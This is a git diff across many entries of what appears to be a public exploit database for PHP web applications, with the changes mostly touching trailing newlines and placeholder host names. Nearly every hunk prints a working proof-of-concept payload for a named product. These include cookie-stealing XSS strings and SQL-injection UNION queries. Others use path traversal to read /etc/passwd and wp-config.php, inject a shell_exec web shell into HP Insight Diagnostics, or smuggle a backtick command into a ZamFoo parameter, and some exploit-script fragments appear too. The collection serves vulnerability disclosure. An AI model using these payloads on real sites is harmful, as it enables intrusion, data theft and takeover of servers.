a/platforms/php/webapps/38436.txt b/platforms/php/webapps/38436.txt index f687e1eed..45b1ddae9 100755 --- a/platforms/php/webapps/38436.txt +++ b/platforms/php/webapps/38436.txt @@ -4,4 +4,4 @@ Zimbra is prone to a cross-site scripting vulnerability because it fails to suff An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/aspell.php?disctionnary=&gt;<script>alert('foo');</script> \ No newline at end of file +http://www.example.com/aspell.php?disctionnary=&gt;<script>alert('foo');</script> \ No newline at end of file diff --git a/platforms/php/webapps/38438.txt b/platforms/php/webapps/38438.txt index 87c9bc6eb..48c8754a2 100755 --- a/platforms/php/webapps/38438.txt +++ b/platforms/php/webapps/38438.txt @@ -8,4 +8,4 @@ EasyPHP 12.1 is vulnerable; other versions may also be affected. http://www.example.com/home/index.php?to=ext -http://www.example.com/home/index.php?to=phpinfo \ No newline at end of file +http://www.example.com/home/index.php?to=phpinfo \ No newline at end of file diff --git a/platforms/php/webapps/38439.txt b/platforms/php/webapps/38439.txt index 2202be2f7..8548fcaa4 100755 --- a/platforms/php/webapps/38439.txt +++ b/platforms/php/webapps/38439.txt @@ -4,4 +4,4 @@ The Traffic Analyzer plugin for WordPress is prone to a cross-site scripting vul An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/38440.txt b/platforms/php/webapps/38440.txt index 935345eea..ec183baef 100755 --- a/platforms/php/webapps/38440.txt +++ b/platforms/php/webapps/38440.txt @@ -8,4 +8,4 @@ phpMyAdmin 3.5.0 through versions 3.5.7 are vulnerable. http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[width]="><script>alert(123);</script> -http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[height]="><script>alert(123);</script> \ No newline at end of file +http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[height]="><script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/38441.txt b/platforms/php/webapps/38441.txt index bf7b12369..1f5614242 100755 --- a/platforms/php/webapps/38441.txt +++ b/platforms/php/webapps/38441.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Spiffy XSPF Player 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38458.txt b/platforms/php/webapps/38458.txt index 12c0fe31e..5b8790f71 100755 --- a/platforms/php/webapps/38458.txt +++ b/platforms/php/webapps/38458.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Spider Video Player 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/player/settings.php?playlist=[num]&theme=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/player/settings.php?playlist=[num]&theme=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/3846.txt b/platforms/php/webapps/3846.txt index 91c962117..2e42ed0e6 100755 --- a/platforms/php/webapps/3846.txt +++ b/platforms/php/webapps/3846.txt @@ -13,7 +13,7 @@ # #BUG: # -#Example:http://server/path/common.php?locale=[[Sh3LL Script]] +#Example:http://site.com/path/common.php?locale=[[Sh3LL Script]] # #Script Download ############################################################################# diff --git a/platforms/php/webapps/3847.txt b/platforms/php/webapps/3847.txt index a2c7b99ab..8d9d0723d 100755 --- a/platforms/php/webapps/3847.txt +++ b/platforms/php/webapps/3847.txt @@ -17,7 +17,7 @@ #BUG: # -#Example:http://server/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]] +#Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]] #Script Download ############################################################################# #http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096 diff --git a/platforms/php/webapps/38476.txt b/platforms/php/webapps/38476.txt index 0ee349952..3d59dc875 100755 --- a/platforms/php/webapps/38476.txt +++ b/platforms/php/webapps/38476.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Todoo Forum 2.0 is vulnerable; other versions may also be affected. http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post='"--></style></script><script>alert(0x0000)</script>&pg=1 -http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=2&pg='"--></style></script><script>alert(0x0000)</script> \ No newline at end of file +http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=2&pg='"--></style></script><script>alert(0x0000)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38477.txt b/platforms/php/webapps/38477.txt index ea3174f96..bac6e7e4d 100755 --- a/platforms/php/webapps/38477.txt +++ b/platforms/php/webapps/38477.txt @@ -8,3 +8,4 @@ Todoo Forum 2.0 is vulnerable; other versions may also be affected. http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=[Inject_here]&pg=1 http://www.example.com/todooforum/todooforum.php?cat=reponse&id_forum=0&id_post=1&pg=[Inject_Here] + \ No newline at end of file diff --git a/platforms/php/webapps/38478.txt b/platforms/php/webapps/38478.txt index 86f6f3b48..7450f7c83 100755 --- a/platforms/php/webapps/38478.txt +++ b/platforms/php/webapps/38478.txt @@ -10,4 +10,4 @@ Sosci Survey is prone to following security vulnerabilities: Successful exploits may allow an attacker to gain unauthorized access to the affected application, allow attacker-supplied HTML and script code to run in the context of the affected browser, allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or inject and execute arbitrary malicious PHP code in the context of the web server process. https://www.example.com/admin/index.php?o=account&a=message.reply&id=[msg_id] -https://www.example.com/admin/index.php?o=panel&a=receiver.edit&id=<script>alert(document.cookie)</script> \ No newline at end of file +https://www.example.com/admin/index.php?o=panel&a=receiver.edit&id=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/3848.txt b/platforms/php/webapps/3848.txt index 3e36b6508..c82c6c185 100755 --- a/platforms/php/webapps/3848.txt +++ b/platforms/php/webapps/3848.txt @@ -13,7 +13,7 @@ # #BUG: # -#Example:http://server/path/header.php?path=[[Sh3LL Script]] +#Example:http://site.com/path/header.php?path=[[Sh3LL Script]] # #Script Download ############################################################################# diff --git a/platforms/php/webapps/38480.txt b/platforms/php/webapps/38480.txt index e95aa57bc..6f09c6788 100755 --- a/platforms/php/webapps/38480.txt +++ b/platforms/php/webapps/38480.txt @@ -4,4 +4,4 @@ Fork CMS is prone to a local file-include vulnerability because it fails to suff An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. -http://www.example.com/frontend/js.php?module=core&file=../../../../../../../../../../../../../../../../etc/passwd&language=en&m=1339527371 \ No newline at end of file +http://www.example.com/frontend/js.php?module=core&file=../../../../../../../../../../../../../../../../etc/passwd&language=en&m=1339527371 \ No newline at end of file diff --git a/platforms/php/webapps/38487.txt b/platforms/php/webapps/38487.txt index f696f6f3d..c01814397 100755 --- a/platforms/php/webapps/38487.txt +++ b/platforms/php/webapps/38487.txt @@ -20,4 +20,4 @@ http://www.example.com/wp-content/themes/colormix/js/rokbox/jwplayer/jwplayer.sw Cross-site scripting: -http://www.example.com/wp-content/themes/colormix/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file +http://www.example.com/wp-content/themes/colormix/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file diff --git a/platforms/php/webapps/38494.txt b/platforms/php/webapps/38494.txt index e4f57bcce..8d14f758f 100755 --- a/platforms/php/webapps/38494.txt +++ b/platforms/php/webapps/38494.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary PHP code within the cont WP Super Cache 1.2 is vulnerable; other versions may also be affected. -<!?mfunc echo PHP_VERSION; ?><!?/mfunc?> \ No newline at end of file +<!?mfunc echo PHP_VERSION; ?><!?/mfunc?> \ No newline at end of file diff --git a/platforms/php/webapps/38502.txt b/platforms/php/webapps/38502.txt index dc07c7259..cfb2dfa5e 100755 --- a/platforms/php/webapps/38502.txt +++ b/platforms/php/webapps/38502.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br GetSimple CMS 3.1.2 is vulnerable; prior versions may also be affected. http://www.example.com/admin/edit.php?title="><scri<script></script>pt>alert(document.cookie);</scri<script>< /script>pt> -http://www.example.com/admin/edit.php?menu="><scri<script></script>pt>alert(document.cookie);</scri<script></ script>pt> \ No newline at end of file +http://www.example.com/admin/edit.php?menu="><scri<script></script>pt>alert(document.cookie);</scri<script></ script>pt> \ No newline at end of file diff --git a/platforms/php/webapps/38503.txt b/platforms/php/webapps/38503.txt index 9564c7767..b9a418924 100755 --- a/platforms/php/webapps/38503.txt +++ b/platforms/php/webapps/38503.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br GetSimple CMS 3.1.2 is vulnerable; prior versions may also be affected. http://www.example.com/admin/filebrowser.php?path="><scri<script></script>pt>alert(document.cookie);</scri<sc ript></script>pt> -http://www.example.com/admin/filebrowser.php?returnid="><scri<script></script>pt>alert(document.cookie);</scr i<script></script>pt> \ No newline at end of file +http://www.example.com/admin/filebrowser.php?returnid="><scri<script></script>pt>alert(document.cookie);</scr i<script></script>pt> \ No newline at end of file diff --git a/platforms/php/webapps/38508.txt b/platforms/php/webapps/38508.txt index ce39eb7b0..0c907e0ea 100755 --- a/platforms/php/webapps/38508.txt +++ b/platforms/php/webapps/38508.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to Game Section 1.2.2 are vulnerable. -http://www.example.com/games.php?des=%27%22%3E%3E%3Cscript%3Ealert%28%27+by+Darksnipper%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/games.php?des=%27%22%3E%3E%3Cscript%3Ealert%28%27+by+Darksnipper%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/38509.txt b/platforms/php/webapps/38509.txt index a4ded20d2..9407531ca 100755 --- a/platforms/php/webapps/38509.txt +++ b/platforms/php/webapps/38509.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Securimage 3.5 is vulnerable; other versions may also be affected. -http://www.example.com/securimage/example_form.php/"/><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/securimage/example_form.php/"/><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38510.txt b/platforms/php/webapps/38510.txt index 9934ff3ad..7fdb5f3e8 100755 --- a/platforms/php/webapps/38510.txt +++ b/platforms/php/webapps/38510.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Securimage-WP 3.2.4 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/securimage-wp/siwp_test.php/"/><script>alert(document.cookie);</script>?tested=1 \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/securimage-wp/siwp_test.php/"/><script>alert(document.cookie);</script>?tested=1 \ No newline at end of file diff --git a/platforms/php/webapps/38515.txt b/platforms/php/webapps/38515.txt index a965369a1..b4529d470 100755 --- a/platforms/php/webapps/38515.txt +++ b/platforms/php/webapps/38515.txt @@ -4,4 +4,4 @@ The wp-FileManager plugin for WordPress is prone to a vulnerability that lets at An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks. -http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download \ No newline at end of file diff --git a/platforms/php/webapps/38516.txt b/platforms/php/webapps/38516.txt index d63b115a4..1e2d6206b 100755 --- a/platforms/php/webapps/38516.txt +++ b/platforms/php/webapps/38516.txt @@ -4,4 +4,4 @@ Open Flash Chart is prone to a cross-site scripting vulnerability because it fai An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://ww.example.com/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})() \ No newline at end of file +http://ww.example.com/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})() \ No newline at end of file diff --git a/platforms/php/webapps/38523.txt b/platforms/php/webapps/38523.txt index 5e51d5a01..6f967fad9 100755 --- a/platforms/php/webapps/38523.txt +++ b/platforms/php/webapps/38523.txt @@ -8,4 +8,4 @@ http://www.example.com/fullstory.php?id=-999 union all select 1,2,version(),user http://www.example.com/fullstory.php?id=-999 UNION SELECT 1,2,version(),database(),5,6,7,8,9,10,11,12,13,14 -http://www.example.com/countrys.php?countryid=-999 union all select 1,version(),database() \ No newline at end of file +http://www.example.com/countrys.php?countryid=-999 union all select 1,version(),database() \ No newline at end of file diff --git a/platforms/php/webapps/38524.pl b/platforms/php/webapps/38524.pl index 2225db564..c545ac871 100755 --- a/platforms/php/webapps/38524.pl +++ b/platforms/php/webapps/38524.pl @@ -20,7 +20,7 @@ print <<INTRO; |====================================================| INTRO print "\n"; -print "[!] Enter URL(f.e: http://server): "; +print "[!] Enter URL(f.e: http://target.com): "; chomp(my $url=<STDIN>); print "\n"; print "[!] Enter File Path (f.e: C:\\Shell.php;.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php;.gif) diff --git a/platforms/php/webapps/38537.txt b/platforms/php/webapps/38537.txt index 3722d0ec2..cab425356 100755 --- a/platforms/php/webapps/38537.txt +++ b/platforms/php/webapps/38537.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ADIF Log Search 1.0e is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E<http://www.example2.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E> \ No newline at end of file +http://www.example.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E<http://www.example2.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E> \ No newline at end of file diff --git a/platforms/php/webapps/3854.txt b/platforms/php/webapps/3854.txt index ef5983eac..8b39beffe 100755 --- a/platforms/php/webapps/3854.txt +++ b/platforms/php/webapps/3854.txt @@ -13,7 +13,7 @@ # #BUG: # -#Example:http://server/path/templates/default/tpl_message.php?right_file=[[Sh3LL +#Example:http://site.com/path/templates/default/tpl_message.php?right_file=[[Sh3LL Script]] # #Script Download diff --git a/platforms/php/webapps/38544.txt b/platforms/php/webapps/38544.txt index 4448a291e..a34f157c6 100755 --- a/platforms/php/webapps/38544.txt +++ b/platforms/php/webapps/38544.txt @@ -5,4 +5,4 @@ Elastix is prone to multiple cross-site scripting vulnerabilities because it fai An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. https://www.example.com/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)> -https://www.example.comlibs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)> \ No newline at end of file +https://www.example.comlibs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)> \ No newline at end of file diff --git a/platforms/php/webapps/38545.txt b/platforms/php/webapps/38545.txt index 4514b8b23..60e521b6c 100755 --- a/platforms/php/webapps/38545.txt +++ b/platforms/php/webapps/38545.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Telaen 1.3.1 are vulnerable. -http://www.example.com/telaen/index.php?tid=default&lid=en_UK&f_email="><script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/telaen/index.php?tid=default&lid=en_UK&f_email="><script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/php/webapps/38546.txt b/platforms/php/webapps/38546.txt index bdb819aac..3273155b1 100755 --- a/platforms/php/webapps/38546.txt +++ b/platforms/php/webapps/38546.txt @@ -6,4 +6,4 @@ An attacker can leverage this issue by constructing a crafted URI and enticing a Versions prior to Telaen 1.3.1 are vulnerable. -http://www.example.com/telaen/redir.php?http://www.malicious-server \ No newline at end of file +http://www.example.com/telaen/redir.php?http://www.malicious-site.com \ No newline at end of file diff --git a/platforms/php/webapps/38548.txt b/platforms/php/webapps/38548.txt index f9b871b2c..b66ca1761 100755 --- a/platforms/php/webapps/38548.txt +++ b/platforms/php/webapps/38548.txt @@ -6,4 +6,4 @@ Successful exploits will allow attackers to obtain sensitive information that ma Versions prior to Telaen 1.3.1 are vulnerable. -hhtp://www.example.com//telaen/inc/init.php \ No newline at end of file +hhtp://www.example.com//telaen/inc/init.php \ No newline at end of file diff --git a/platforms/php/webapps/3855.php b/platforms/php/webapps/3855.php index 5e7f83c92..1ce857036 100755 --- a/platforms/php/webapps/3855.php +++ b/platforms/php/webapps/3855.php @@ -178,7 +178,7 @@ function usage() { echo "| NPDS <= 5.10 Remote Code Execution exploit |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "| You need a user account !! |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+------------------------------------------------------+\r\n"; } function head() { diff --git a/platforms/php/webapps/38560.txt b/platforms/php/webapps/38560.txt index 7cd45d937..9b4b98270 100755 --- a/platforms/php/webapps/38560.txt +++ b/platforms/php/webapps/38560.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Resin Professional 4.0.36 is vulnerable; other versions may also be affected. -http://www.example.com/resin-admin\?%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/resin-admin\?%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38561.txt b/platforms/php/webapps/38561.txt index 9c1022175..685d9463d 100755 --- a/platforms/php/webapps/38561.txt +++ b/platforms/php/webapps/38561.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Resin Professional 4.0.36 is vulnerable; other versions may also be affected. -http://www.example.com/resin-admin/?q=index.php&logout=true%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/resin-admin/?q=index.php&logout=true%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38562.txt b/platforms/php/webapps/38562.txt index 9d753ae01..f44434c50 100755 --- a/platforms/php/webapps/38562.txt +++ b/platforms/php/webapps/38562.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to inject and execute arbitrary code HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected. -https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes \ No newline at end of file +https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes \ No newline at end of file diff --git a/platforms/php/webapps/38563.txt b/platforms/php/webapps/38563.txt index c964eca5d..be4e3177a 100755 --- a/platforms/php/webapps/38563.txt +++ b/platforms/php/webapps/38563.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected. -https://www.example.com/hpdiags/frontend2/help/pageview.php?path=comparesurvey.html \ No newline at end of file +https://www.example.com/hpdiags/frontend2/help/pageview.php?path=comparesurvey.html \ No newline at end of file diff --git a/platforms/php/webapps/38568.txt b/platforms/php/webapps/38568.txt index e9d27aed1..553732153 100755 --- a/platforms/php/webapps/38568.txt +++ b/platforms/php/webapps/38568.txt @@ -4,4 +4,4 @@ The Ambience theme for WordPress is prone to a cross-site scripting vulnerabilit An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/themes/ambience/thumb.php?src=<body onload=alert(/darksnipper/)>.jpg \ No newline at end of file +http://www.example.com/wp-content/themes/ambience/thumb.php?src=<body onload=alert(/darksnipper/)>.jpg \ No newline at end of file diff --git a/platforms/php/webapps/38569.txt b/platforms/php/webapps/38569.txt index 2c56ef3e7..a685781f4 100755 --- a/platforms/php/webapps/38569.txt +++ b/platforms/php/webapps/38569.txt @@ -17,4 +17,4 @@ Cookie: lang=; PHPSESSID=g4j89f6110r4hpl3bkecfpc7c1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 90 -host=localhost&user=root&pass=toor&name=lokboard&pass_key=1234";phpinfo();// \ No newline at end of file +host=localhost&user=root&pass=toor&name=lokboard&pass_key=1234";phpinfo();// \ No newline at end of file diff --git a/platforms/php/webapps/3857.txt b/platforms/php/webapps/3857.txt index 308b48803..6d2632af4 100755 --- a/platforms/php/webapps/3857.txt +++ b/platforms/php/webapps/3857.txt @@ -6,7 +6,7 @@ #Exploit : -#http://www.server/[path]/watermark.php?GALLERY_BASEDIR=shell.txt? +#http://www.site.com/[path]/watermark.php?GALLERY_BASEDIR=shell.txt? #Discovered by : ThE TiGeR diff --git a/platforms/php/webapps/38570.txt b/platforms/php/webapps/38570.txt index 1515cc42c..4ebf482b5 100755 --- a/platforms/php/webapps/38570.txt +++ b/platforms/php/webapps/38570.txt @@ -4,4 +4,4 @@ ScriptCase is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/scelta_categoria.php?categoria=[SQLi] \ No newline at end of file +http://www.example.com/scelta_categoria.php?categoria=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/38571.txt b/platforms/php/webapps/38571.txt index ac82f77ce..c301dfe06 100755 --- a/platforms/php/webapps/38571.txt +++ b/platforms/php/webapps/38571.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary PHP code within the cont mkCMS 3.6 is vulnerable; other versions may also be affected. -http://www.example.com/mkCMS/index.php?cmd=dir \ No newline at end of file +http://www.example.com/mkCMS/index.php?cmd=dir \ No newline at end of file diff --git a/platforms/php/webapps/3859.txt b/platforms/php/webapps/3859.txt index b757b31e9..2b54cc875 100755 --- a/platforms/php/webapps/3859.txt +++ b/platforms/php/webapps/3859.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- @@ -20,7 +20,7 @@ Local File Include : http://[TARGET]/[PATH]/index.php?index=[Local File]%00 -http://server/blog/index.php?index=../../../../etc/passwd%00 +http://Target.com/blog/index.php?index=../../../../etc/passwd%00 +---------------------------------------------------------------------------------------------+ diff --git a/platforms/php/webapps/38590.txt b/platforms/php/webapps/38590.txt index 16c4409b4..0bc7c292f 100755 --- a/platforms/php/webapps/38590.txt +++ b/platforms/php/webapps/38590.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to gain elevated privileges within the appl et-chat 3.07 is vulnerable; other versions may also be affected. -http://www.example.com/chat/?AdminRegUserEdit&admin&id=4 \ No newline at end of file +http://www.example.com/chat/?AdminRegUserEdit&admin&id=4 \ No newline at end of file diff --git a/platforms/php/webapps/38594.txt b/platforms/php/webapps/38594.txt index 71cbc4f76..11ecffca6 100755 --- a/platforms/php/webapps/38594.txt +++ b/platforms/php/webapps/38594.txt @@ -4,4 +4,4 @@ Barnraiser Prairie is prone to a directory-traversal vulnerability because it fa Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to access arbitrary images in the context of the application. This may aid in further attacks. -http://www.example.com/get_file.php?avatar=..&width=../../../../../../../../usr/share/apache2/icons/apache_pb.png \ No newline at end of file +http://www.example.com/get_file.php?avatar=..&width=../../../../../../../../usr/share/apache2/icons/apache_pb.png \ No newline at end of file diff --git a/platforms/php/webapps/38596.txt b/platforms/php/webapps/38596.txt index 7253574de..fdbd8514d 100755 --- a/platforms/php/webapps/38596.txt +++ b/platforms/php/webapps/38596.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?block_id=7&func=modify_instance&interface=%3Csc http://www.example.com/index.php?func=aliases&module=modules&name=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&type=admin -http://www.example.com/index.php?func=assignprivileges&module=privileges&tab=authsystem&tabmodule=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3 \ No newline at end of file +http://www.example.com/index.php?func=assignprivileges&module=privileges&tab=authsystem&tabmodule=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3 \ No newline at end of file diff --git a/platforms/php/webapps/38598.txt b/platforms/php/webapps/38598.txt index b0cfbecdb..0a04ac76a 100755 --- a/platforms/php/webapps/38598.txt +++ b/platforms/php/webapps/38598.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in the context of ZamFoo 12.0 is vulnerable; other versions may also be affected. -http://www.example.com/cgi/zamfoo/zamfoo_do_restore_zamfoo_backup.cgi?accounttorestore=account&date=`command` \ No newline at end of file +http://www.example.com/cgi/zamfoo/zamfoo_do_restore_zamfoo_backup.cgi?accounttorestore=account&date=`command` \ No newline at end of file diff --git a/platforms/php/webapps/3860.txt b/platforms/php/webapps/3860.txt index 14d385d27..361235396 100755 --- a/platforms/php/webapps/3860.txt +++ b/platforms/php/webapps/3860.txt @@ -6,7 +6,7 @@ #Exploit -#http://server/[phptree_path]/plugin/HP_DEV/cms2.php?s_dir=shell.txt? +#http://site.com/[phptree_path]/plugin/HP_DEV/cms2.php?s_dir=shell.txt? #Discovered by : ThE TiGeR diff --git a/platforms/php/webapps/38605.txt b/platforms/php/webapps/38605.txt index a563bb97b..72ed36604 100755 --- a/platforms/php/webapps/38605.txt +++ b/platforms/php/webapps/38605.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Nameko 0.10.146 and prior are vulnerable. -http://www.example.com/nameko.php?op=999&id=&colorset=VIOLET&fontsize=11%3B+%7D%3C%2Fstyle%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cstyle%3EBODY+%7B+font-size%3A66 \ No newline at end of file +http://www.example.com/nameko.php?op=999&id=&colorset=VIOLET&fontsize=11%3B+%7D%3C%2Fstyle%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cstyle%3EBODY+%7B+font-size%3A66 \ No newline at end of file diff --git a/platforms/php/webapps/38606.txt b/platforms/php/webapps/38606.txt index 91148a472..cd3036d43 100755 --- a/platforms/php/webapps/38606.txt +++ b/platforms/php/webapps/38606.txt @@ -4,4 +4,4 @@ WP Private Messages plugin for WordPress is prone to an SQL-injection vulnerabil Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql] \ No newline at end of file +http://www.example.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/38607.txt b/platforms/php/webapps/38607.txt index fb1ebe721..cbf37f13b 100755 --- a/platforms/php/webapps/38607.txt +++ b/platforms/php/webapps/38607.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to upload arbitrary code and execute it in th Atomy Maxsite versions 1.50 through 2.5 are vulnerable. -http://www.example.com/[path]/index.php?name=research&file=add&op=research_add \ No newline at end of file +http://www.example.com/[path]/index.php?name=research&file=add&op=research_add \ No newline at end of file diff --git a/platforms/php/webapps/38608.txt b/platforms/php/webapps/38608.txt index d062a9738..8b4ce2127 100755 --- a/platforms/php/webapps/38608.txt +++ b/platforms/php/webapps/38608.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Xorbin Analog Flash Clock 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/xorbin-analog-flash-clock/media/xorAnalogClock.swf#?urlWindow=_self&widgetUrl=javascript:alert(1); \ No newline at end of file 